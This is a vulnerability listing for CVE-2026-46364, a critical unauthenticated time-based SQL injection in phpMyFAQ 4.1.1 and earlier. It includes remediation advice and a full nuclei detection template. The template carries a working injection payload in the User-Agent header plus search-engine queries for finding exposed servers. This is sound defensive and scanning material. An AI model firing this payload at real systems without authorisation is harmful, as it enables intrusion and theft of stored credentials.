Browse / CVEs / CVE-2026-46364
CVE-2026-46364· CWE-89
phpMyFAQ <= 4.1.1 - SQL Injection
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
Impact
Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
Fix
Upgrade phpMyFAQ to version 4.1.2 or later.
How to confirm it
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(body, "Truncated incorrect DOUBLE")Run it with nuclei: nuclei -id CVE-2026-46364 -u <target>
The full check
id: CVE-2026-46364
info:
name: phpMyFAQ <= 4.1.1 - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
impact: |
Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
remediation: |
Upgrade phpMyFAQ to version 4.1.2 or later.
reference:
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
- https://www.phpmyfaq.de
- http://nvd.nist.gov/vuln/detail/CVE-2026-46364
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
epss-score: 0.01709
epss-percentile: 0.77525
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1194891278
fofa-query: app="phpMyFAQ"
tags: cve,cve2026,sqli,phpmyfaq
http:
- raw:
- |
@timeout: 20s
GET /api/captcha HTTP/1.1
Host: {{Hostname}}
User-Agent: x' OR SLEEP(8) OR 'x
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
- 'contains(body, "Truncated incorrect DOUBLE")'
condition: andReferences
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
- https://www.phpmyfaq.de
- http://nvd.nist.gov/vuln/detail/CVE-2026-46364
Use this check only on systems you are authorised to test. Where the data comes from